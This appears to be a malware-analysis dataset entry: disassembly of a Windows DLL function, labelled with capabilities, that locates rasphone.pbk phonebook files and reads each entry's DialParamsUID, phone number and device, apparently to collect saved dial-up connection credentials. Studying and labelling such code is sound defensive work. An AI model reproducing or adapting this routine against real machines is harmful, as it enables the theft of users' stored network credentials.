Function at 0x10002c4f
Capabilities:
Check os version
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c8
push ebx
push esi
push edi
lea eax, [ebp - 0x1c0]
push 0x105
mov edi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea eax, [ebp - 0x1c0]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [edi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x1c0]
push eax
call esi
lea eax, [ebp - 0x1c0]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
call esi
push 0
lea eax, [ebp - 0x3c8]
push 0x23
push eax
push 0
call dword [0x10012d60]
lea eax, [ebp - 0x3c8]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea eax, [ebp - 0x3c8]
push str._s_s
push eax
call dword [0x10012de0]
lea eax, [ebp - 0x1c0]
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x3c8]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0xb8]
push eax
mov dword [ebp - 0xb8], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 2
pop esi
cmp dword [ebp - 0xa8], esi
jne 0x10002d25
cmp dword [ebp - 0xb4], 5
jb 0x10002d25
mov ecx, edi
call fcn.10002b1f
mov ebx, 0x1000
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x1c], esi
pop ecx
mov dword [ebp - 8], eax
mov esi, 0x100
jmp 0x10002d49
mov ebx, 0x1000
push 0x100112b0
push 0x100112a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push 0
push dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
call eax
mov eax, dword [ebp - 8]
add esp, 0xc
push dword [eax]
push ebx
mov ebx, dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov eax, ebx
cmp byte [eax], 0
je 0x10002f30
push ebx
mov ecx, edi
call fcn.10002f4d
mov dword [ebp - 0x18], eax
push esi
lea eax, [ebp - 0x2c0]
push 0
push eax
call dword [ebp - 0x10]
push esi
lea eax, [ebp - 0x4c8]
push 0
push eax
call dword [ebp - 0x10]
push esi
lea eax, [ebp - 0x6c8]
push 0
push eax
call dword [ebp - 0x10]
push esi
lea eax, [ebp - 0x7c8]
push 0
push eax
call dword [ebp - 0x10]
push esi
lea eax, [ebp - 0x5c8]
push 0
push eax
call dword [ebp - 0x10]
mov eax, dword [ebp - 8]
add esp, 0x3c
push dword [eax]
lea eax, [ebp - 0x2c0]
push esi
push eax
push 0
push str.DialParamsUID
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x10002e84
xor eax, eax
cmp dword [edi + 0x10], eax
mov dword [ebp - 0xc], eax
jle 0x10002e84
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, dword [edi + 0x1c]
push eax
lea eax, [ebp - 0x2c0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10002e34
inc dword [ebp - 0xc]
add dword [ebp - 4], 0x301
mov eax, dword [ebp - 0xc]
cmp eax, dword [edi + 0x10]
jl 0x10002e08
jmp 0x10002e84
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi + 0x1c]
imul eax, eax, 0x301
mov dword [ebp - 4], eax
lea eax, [eax + ecx + 0x200]
push eax
lea eax, [ebp - 0x4c8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [edi + 0x1c]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 0x100]
push eax
lea eax, [ebp - 0x6c8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [edi + 0x1c]
mov ecx, dword [ebp - 4]
mov byte [ecx + eax + 0x300], 1
inc dword [edi + 8]
mov eax, dword [ebp - 8]
push dword [eax]
lea eax, [ebp - 0x7c8]
push esi
push eax
push 0
push str.PhoneNumber
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [ebp - 8]
push dword [eax]
lea eax, [ebp - 0x5c8]
push esi
push eax
push 0
push str.Device
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x5c8]
mov ecx, edi
push eax
call fcn.10002f4d
mov dword [ebp - 4], eax
lea eax, [ebp - 0x4c8]
push eax
mov ecx, edi
call fcn.10002f4d
push dword [ebp - 4]
lea ecx, [ebp - 0x7c8]
mov dword [ebp - 0xc], eax
push ecx
lea ecx, [ebp - 0x6c8]
push ecx
push eax
push dword [ebp - 0x18]
lea eax, [ebp - 0x2c0]
mov ecx, edi
push eax
call fcn.10002550
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0xc]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 4]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebx + eax + 1], 0
lea ebx, [ebx + eax + 1]
jne 0x10002d89
add dword [ebp - 8], 4
dec dword [ebp - 0x1c]
jne 0x10002d44
push dword [ebp - 0x14]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
mov al, 1
pop ebx
leave
ret